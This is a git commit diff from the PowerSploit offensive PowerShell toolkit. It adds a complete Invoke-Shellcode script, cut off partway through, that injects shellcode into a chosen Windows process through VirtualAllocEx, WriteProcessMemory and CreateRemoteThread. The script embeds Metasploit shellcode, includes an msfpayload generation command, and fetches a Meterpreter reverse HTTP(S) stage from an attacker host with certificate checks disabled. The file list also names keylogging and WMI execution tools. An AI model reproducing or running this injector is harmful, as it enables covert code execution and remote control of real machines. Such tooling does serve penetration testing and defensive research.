diff options
-rw-r--r-- | CodeExecution/CodeExecution.psd1 | 4 | ||||
-rw-r--r-- | CodeExecution/CodeExecution.psm1 | 2 | ||||
-rw-r--r-- | CodeExecution/Invoke--Shellcode.ps1 | 763 | ||||
-rw-r--r-- | CodeExecution/Invoke-Shellcode.ps1 | 675 | ||||
-rw-r--r-- | CodeExecution/Invoke-WmiCommand.ps1 | 334 | ||||
-rw-r--r-- | Exfiltration/Get-Keystrokes.ps1 | 2 | ||||
-rw-r--r-- | Exfiltration/VolumeShadowCopyTools.ps1 | 147 | ||||
-rw-r--r-- | README.md | 4 | ||||
-rw-r--r-- | ScriptModification/Out-EncryptedScript.ps1 | 78 |
9 files changed, 1302 insertions, 707 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index 85258a5..8dc5b75 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -73,8 +73,8 @@ AliasesToExport = '' ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) # List of all files packaged with this module -FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', - 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Usage.md' +FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke--Shellcode.ps1', 'Invoke-DllInjection.ps1', + 'Invoke-ShellcodeMSIL.ps1', 'Invoke-ReflectivePEInjection.ps1', 'Invoke-WmiCommand.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/CodeExecution/CodeExecution.psm1 b/CodeExecution/CodeExecution.psm1 index 81d3818..934fa38 100644 --- a/CodeExecution/CodeExecution.psm1 +++ b/CodeExecution/CodeExecution.psm1 @@ -1 +1 @@ -Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | % { . $_.FullName} +Get-ChildItem (Join-Path $PSScriptRoot *.ps1) | ? {$_.Name -ne 'Invoke-Shellcode.ps1'} | % { . $_.FullName} diff --git a/CodeExecution/Invoke--Shellcode.ps1 b/CodeExecution/Invoke--Shellcode.ps1 new file mode 100644 index 0000000..b0ba81c --- /dev/null +++ b/CodeExecution/Invoke--Shellcode.ps1 @@ -0,0 +1,763 @@ +function Invoke-Shellcode +{ +<# +.SYNOPSIS + +Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process. + +PowerSploit Function: Invoke-Shellcode +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre + +PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX. To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk): + +msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread C | sed '1,6d;s/[";]//g;s/\\/,0/g' | tr -d '\n' | cut -c2- + +Make sure to specify 'thread' for your exit process. Also, don't bother encoding your shellcode. It's entirely unnecessary. + +.PARAMETER ProcessID + +Process ID of the process you want to inject shellcode into. + +.PARAMETER Shellcode + +Specifies an optional shellcode passed in as a byte array + +.PARAMETER ListMetasploitPayloads + +Lists all of the available Metasploit payloads that Invoke-Shellcode supports + +.PARAMETER Lhost + +Specifies the IP address of the attack machine waiting to receive the reverse shell + +.PARAMETER Lport + +Specifies the port of the attack machine waiting to receive the reverse shell + +.PARAMETER Payload + +Specifies the metasploit payload to use. Currently, only 'windows/meterpreter/reverse_http' and 'windows/meterpreter/reverse_https' payloads are supported. + +.PARAMETER UserAgent + +Optionally specifies the user agent to use when using meterpreter http or https payloads + +.PARAMETER Proxy + +Optionally specifies whether to utilize the proxy settings on the machine. + +.PARAMETER Legacy + +Optionally specifies whether to utilize the older meterpreter handler "INITM". This will likely be removed in the future. + +.PARAMETER Force + +Injects shellcode without prompting for confirmation. By default, Invoke-Shellcode prompts for confirmation before performing any malicious act. + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ProcessId 4274 + +Description +----------- +Inject shellcode into process ID 4274. + +.EXAMPLE + +C:\PS> Invoke-Shellcode + +Description +----------- +Inject shellcode into the running instance of PowerShell. + +.EXAMPLE + +C:\PS> Start-Process C:\Windows\SysWOW64\notepad.exe -WindowStyle Hidden +C:\PS> $Proc = Get-Process notepad +C:\PS> Invoke-Shellcode -ProcessId $Proc.Id -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 443 -Verbose + +VERBOSE: Requesting meterpreter payload from https://192.168.30.129:443/INITM +VERBOSE: Injecting shellcode into PID: 4004 +VERBOSE: Injecting into a Wow64 process. +VERBOSE: Using 32-bit shellcode. +VERBOSE: Shellcode memory reserved at 0x03BE0000 +VERBOSE: Emitting 32-bit assembly call stub. +VERBOSE: Thread call stub memory reserved at 0x001B0000 +VERBOSE: Shellcode injection complete! + +Description +----------- +Establishes a reverse https meterpreter payload from within the hidden notepad process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_https): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 443 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.30.129 -Lport 80 + +Description +----------- +Establishes a reverse http meterpreter payload from within the running PwerShell process. A multi-handler was set up with the following options: + +Payload options (windows/meterpreter/reverse_http): + +Name Current Setting Required Description +---- --------------- -------- ----------- +EXITFUNC thread yes Exit technique: seh, thread, process, none +LHOST 192.168.30.129 yes The local listener hostname +LPORT 80 yes The local listener port + +.EXAMPLE + +C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + +Description +----------- +Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) +Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.EXAMPLE + +C:\PS> Invoke-Shellcode -ListMetasploitPayloads + +Payloads +-------- +windows/meterpreter/reverse_http +windows/meterpreter/reverse_https + +.NOTES + +Use the '-Verbose' option to print detailed information. + +Place your generated shellcode in $Shellcode32 and $Shellcode64 variables or pass it in as a byte array via the '-Shellcode' parameter + +Big thanks to Oisin (x0n) Grehan (@oising) for answering all my obscure questions at the drop of a hat - http://www.nivot.org/ + +.LINK + +http://www.exploit-monday.com +#> + +[CmdletBinding( DefaultParameterSetName = 'RunLocal', SupportsShouldProcess = $True , ConfirmImpact = 'High')] Param ( + [ValidateNotNullOrEmpty()] + [UInt16] + $ProcessID, + + [Parameter( ParameterSetName = 'RunLocal' )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateSet( 'windows/meterpreter/reverse_http', + 'windows/meterpreter/reverse_https', + IgnoreCase = $True )] + [String] + $Payload = 'windows/meterpreter/reverse_http', + + [Parameter( ParameterSetName = 'ListPayloads' )] + [Switch] + $ListMetasploitPayloads, + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateNotNullOrEmpty()] + [String] + $Lhost = '127.0.0.1', + + [Parameter( Mandatory = $True, + ParameterSetName = 'Metasploit' )] + [ValidateRange( 1,65535 )] + [Int] + $Lport = 8443, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [String] + $UserAgent = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').'User Agent', + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Legacy = $False, + + [Parameter( ParameterSetName = 'Metasploit' )] + [ValidateNotNull()] + [Switch] + $Proxy = $False, + + [Switch] + $Force = $False +) + + Set-StrictMode -Version 2.0 + + # List all available Metasploit payloads and exit the function + if ($PsCmdlet.ParameterSetName -eq 'ListPayloads') + { + $AvailablePayloads = (Get-Command Invoke-Shellcode).Parameters['Payload'].Attributes | + Where-Object {$_.TypeId -eq [System.Management.Automation.ValidateSetAttribute]} + + foreach ($Payload in $AvailablePayloads.ValidValues) + { + New-Object PSObject -Property @{ Payloads = $Payload } + } + + Return + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Ensure a valid process ID was provided + # This could have been validated via 'ValidateScript' but the error generated with Get-Process is more descriptive + Get-Process -Id $ProcessID -ErrorAction Stop | Out-Null + } + + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # Emits a shellcode stub that when injected will create a thread and pass execution to the main shellcode payload + function Local:Emit-CallThreadStub ([IntPtr] $BaseAddr, [IntPtr] $ExitThreadAddr, [Int] $Architecture) + { + $IntSizePtr = $Architecture / 8 + + function Local:ConvertTo-LittleEndian ([IntPtr] $Address) + { + $LittleEndianByteArray = New-Object Byte[](0) + $Address.ToString("X$($IntSizePtr*2)") -split '([A-F0-9]{2})' | ForEach-Object { if ($_) { $LittleEndianByteArray += [Byte] ('0x{0}' -f $_) } } + [System.Array]::Reverse($LittleEndianByteArray) + + Write-Output $LittleEndianByteArray + } + + $CallStub = New-Object Byte[](0) + + if ($IntSizePtr -eq 8) + { + [Byte[]] $CallStub = 0x48,0xB8 # MOV QWORD RAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL RAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0x48,0xB8 # MOV QWORD RAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL RAX + } + else + { + [Byte[]] $CallStub = 0xB8 # MOV DWORD EAX, &shellcode + $CallStub += ConvertTo-LittleEndian $BaseAddr # &shellcode + $CallStub += 0xFF,0xD0 # CALL EAX + $CallStub += 0x6A,0x00 # PUSH BYTE 0 + $CallStub += 0xB8 # MOV DWORD EAX, &ExitThread + $CallStub += ConvertTo-LittleEndian $ExitThreadAddr # &ExitThread + $CallStub += 0xFF,0xD0 # CALL EAX + } + + Write-Output $CallStub + } + + function Local:Inject-RemoteShellcode ([Int] $ProcessID) + { + # Open a handle to the process you want to inject into + $hProcess = $OpenProcess.Invoke(0x001F0FFF, $false, $ProcessID) # ProcessAccessFlags.All (0x001F0FFF) + + if (!$hProcess) + { + Throw "Unable to open a process handle for PID: $ProcessID" + } + + $IsWow64 = $false + + if ($64bitCPU) # Only perform theses checks if CPU is 64-bit + { + # Determine is the process specified is 32 or 64 bit + $IsWow64Process.Invoke($hProcess, [Ref] $IsWow64) | Out-Null + + if ((!$IsWow64) -and $PowerShell32bit) + { + Throw 'Unable to inject 64-bit shellcode from within 32-bit Powershell. Use the 64-bit version of Powershell if you want this to work.' + } + elseif ($IsWow64) # 32-bit Wow64 process + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Injecting into a Wow64 process.' + Write-Verbose 'Using 32-bit shellcode.' + } + else # 64-bit process + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + } + else # 32-bit CPU + { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + + # Reserve and commit enough memory in remote process to hold the shellcode + $RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteMemAddr) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($RemoteMemAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode into the previously allocated memory + $WriteProcessMemory.Invoke($hProcess, $RemoteMemAddr, $Shellcode, $Shellcode.Length, [Ref] 0) | Out-Null + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($IsWow64) + { + # Build 32-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + # Build 64-bit inline assembly stub to call the shellcode upon creation of a remote thread. + $CallStub = Emit-CallThreadStub $RemoteMemAddr $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate inline assembly stub + $RemoteStubAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]::Zero, $CallStub.Length, 0x3000, 0x40) # (Reserve|Commit, RWX) + + if (!$RemoteStubAddr) + { + Throw "Unable to allocate thread call stub memory in PID: $ProcessID" + } + + Write-Verbose "Thread call stub memory reserved at 0x$($RemoteStubAddr.ToString("X$([IntPtr]::Size*2)"))" + + # Write 32-bit assembly stub to remote process memory space + $WriteProcessMemory.Invoke($hProcess, $RemoteStubAddr, $CallStub, $CallStub.Length, [Ref] 0) | Out-Null + + # Execute shellcode as a remote thread + $ThreadHandle = $CreateRemoteThread.Invoke($hProcess, [IntPtr]::Zero, 0, $RemoteStubAddr, $RemoteMemAddr, 0, [IntPtr]::Zero) + + if (!$ThreadHandle) + { + Throw "Unable to launch remote thread in PID: $ProcessID" + } + + # Close process handle + $CloseHandle.Invoke($hProcess) | Out-Null + + Write-Verbose 'Shellcode injection complete!' + } + + function Local:Inject-LocalShellcode + { + if ($PowerShell32bit) { + if ($Shellcode32.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode32 variable!' + return + } + + $Shellcode = $Shellcode32 + Write-Verbose 'Using 32-bit shellcode.' + } + else + { + if ($Shellcode64.Length -eq 0) + { + Throw 'No shellcode was placed in the $Shellcode64 variable!' + return + } + + $Shellcode = $Shellcode64 + Write-Verbose 'Using 64-bit shellcode.' + } + + # Allocate RWX memory for the shellcode + $BaseAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $Shellcode.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$BaseAddress) + { + Throw "Unable to allocate shellcode memory in PID: $ProcessID" + } + + Write-Verbose "Shellcode memory reserved at 0x$($BaseAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy shellcode to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $BaseAddress, $Shellcode.Length) + + # Get address of ExitThread function + $ExitThreadAddr = Get-ProcAddress kernel32.dll ExitThread + + if ($PowerShell32bit) + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 32 + + Write-Verbose 'Emitting 32-bit assembly call stub.' + } + else + { + $CallStub = Emit-CallThreadStub $BaseAddress $ExitThreadAddr 64 + + Write-Verbose 'Emitting 64-bit assembly call stub.' + } + + # Allocate RWX memory for the thread call stub + $CallStubAddress = $VirtualAlloc.Invoke([IntPtr]::Zero, $CallStub.Length + 1, 0x3000, 0x40) # (Reserve|Commit, RWX) + if (!$CallStubAddress) + { + Throw "Unable to allocate thread call stub." + } + + Write-Verbose "Thread call stub memory reserved at 0x$($CallStubAddress.ToString("X$([IntPtr]::Size*2)"))" + + # Copy call stub to RWX buffer + [System.Runtime.InteropServices.Marshal]::Copy($CallStub, 0, $CallStubAddress, $CallStub.Length) + + # Launch shellcode in it's own thread + $ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $CallStubAddress, $BaseAddress, 0, [IntPtr]::Zero) + if (!$ThreadHandle) + { + Throw "Unable to launch thread." + } + + # Wait for shellcode thread to terminate + $WaitForSingleObject.Invoke($ThreadHandle, 0xFFFFFFFF) | Out-Null + + $VirtualFree.Invoke($CallStubAddress, $CallStub.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + $VirtualFree.Invoke($BaseAddress, $Shellcode.Length + 1, 0x8000) | Out-Null # MEM_RELEASE (0x8000) + + Write-Verbose 'Shellcode injection complete!' + } + + # A valid pointer to IsWow64Process will be returned if CPU is 64-bit + $IsWow64ProcessAddr = Get-ProcAddress kernel32.dll IsWow64Process + if ($IsWow64ProcessAddr) + { + $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) + $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) + + $64bitCPU = $true + } + else + { + $64bitCPU = $false + } + + if ([IntPtr]::Size -eq 4) + { + $PowerShell32bit = $true + } + else + { + $PowerShell32bit = $false + } + + if ($PsCmdlet.ParameterSetName -eq 'Metasploit') + { + if (!$PowerShell32bit) { + # The currently supported Metasploit payloads are 32-bit. This block of code implements the logic to execute this script from 32-bit PowerShell + # Get this script's contents and pass it to 32-bit powershell with the same parameters passed to this function + + # Pull out just the content of the this script's invocation. + $RootInvocation = $MyInvocation.Line + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you want to launch the payload from x86 Powershell?", + "Attempt to execute 32-bit shellcode from 64-bit Powershell. Note: This process takes about one minute. Be patient! You will also see some artifacts of the script loading in the other process." ) ) ) { } + + if ( !$Response ) + { + # User opted not to launch the 32-bit payload from 32-bit PowerShell. Exit function + Return + } + + # Since the shellcode will run in a noninteractive instance of PowerShell, make sure the -Force switch is included so that there is no warning prompt. + if ($MyInvocation.BoundParameters['Force']) + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation)`n`n" + } + else + { + Write-Verbose "Executing the following from 32-bit PowerShell: $RootInvocation -Force" + $Command = "function $($MyInvocation.InvocationName) {`n" + $MyInvocation.MyCommand.ScriptBlock + "`n}`n$($RootInvocation) -Force`n`n" + } + + $CommandBytes = [System.Text.Encoding]::Ascii.GetBytes($Command) + $EncodedCommand = [Convert]::ToBase64String($CommandBytes) + + $Execute = '$Command' + " | $Env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -NoProfile -Command -" + Invoke-Expression -Command $Execute | Out-Null + + # Exit the script since the shellcode will be running from x86 PowerShell + Return + } + + $Response = $True + + if ( $Force -or ( $Response = $psCmdlet.ShouldContinue( "Do you know what you're doing?", + "About to download Metasploit payload '$($Payload)' LHOST=$($Lhost), LPORT=$($Lport)" ) ) ) { } + + if ( !$Response ) + { + # User opted not to carry out download of Metasploit payload. Exit function + Return + } + + switch ($Payload) + { + 'windows/meterpreter/reverse_http' + { + $SSL = '' + } + + 'windows/meterpreter/reverse_https' + { + $SSL = 's' + # Accept invalid certificates + [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$True} + } + } + + if ($Legacy) + { + # Old Meterpreter handler expects 'INITM' in the URI in order to initiate stage 0 + $Request = "http$($SSL)://$($Lhost):$($Lport)/INITM" + Write-Verbose "Requesting meterpreter payload from $Request" + } else { + + # Generate a URI that passes the test + $CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {[Char]$_} + $SumTest = $False + + while ($SumTest -eq $False) + { + $GeneratedUri = $CharArray | Get-Random -Count 4 + $SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92) + } + + $RequestUri = -join $GeneratedUri + + $Request = "http$($SSL)://$($Lhost):$($Lport)/$($RequestUri)" + } + + $Uri = New-Object Uri($Request) + $WebClient = New-Object System.Net.WebClient + $WebClient.Headers.Add('user-agent', "$UserAgent") + + if ($Proxy) + { + $WebProxyObject = New-Object System.Net.WebProxy + $ProxyAddress = (Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings').ProxyServer + + # if there is no proxy set, then continue without it + if ($ProxyAddress) + { + + $WebProxyObject.Address = $ProxyAddress + $WebProxyObject.UseDefaultCredentials = $True + $WebClientObject.Proxy = $WebProxyObject + } + } + + try + { + [Byte[]] $Shellcode32 = $WebClient.DownloadData($Uri) + } + catch + { + Throw "$($Error[0].Exception.InnerException.InnerException.Message)" + } + [Byte[]] $Shellcode64 = $Shellcode32 + + } + elseif ($PSBoundParameters['Shellcode']) + { + # Users passing in shellcode through the '-Shellcode' parameter are responsible for ensuring it targets + # the correct architechture - x86 vs. x64. This script has no way to validate what you provide it. + [Byte[]] $Shellcode32 = $Shellcode + [Byte[]] $Shellcode64 = $Shellcode32 + } + else + { + # Pop a calc... or whatever shellcode you decide to place in here + # I sincerely hope you trust that this shellcode actually pops a calc... + # Insert your shellcode here in the for 0xXX,0xXX,... + # 32-bit payload + # msfpayload windows/exec CMD="cmd /k calc" EXITFUNC=thread + [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b, + 0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57, + 0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01, + 0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b, + 0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4, + 0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, + 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24, + 0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d, + 0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5, + 0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a, + 0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63, + 0x61,0x6c,0x63,0x00) + + # 64-bit payload + # msfpayload windows/x64/exec CMD="calc" EXITFUNC=thread + [Byte[]] $Shellcode64 = @(0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51, + 0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52, + 0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0, + 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed, + 0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88, + 0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44, + 0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48, + 0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1, + 0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44, + 0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49, + 0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a, + 0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41, + 0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00, + 0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b, + 0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff, + 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47, + 0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00) + } + + if ( $PSBoundParameters['ProcessID'] ) + { + # Inject shellcode into the specified process ID + $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess + $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) + $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) + $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx + $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) + $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory + $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [UInt32].MakeByRefType()) ([Bool]) + $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) + $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread + $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) + $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) + $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle + $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool]) + $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate) + + Write-Verbose "Injecting shellcode into PID: $ProcessId" + + if ( $Force -or $psCmdlet.ShouldContinue( 'Do you wish to carry out your evil plans?', + "Injecting shellcode injecting into $((Get-Process -Id $ProcessId).ProcessName) ($ProcessId)!" ) ) + { + Inject-RemoteShellcode $ProcessId + } + } + else + { + # Inject shellcode into the currently running PowerShell process + $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc + $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) + $VirtualAlloc = 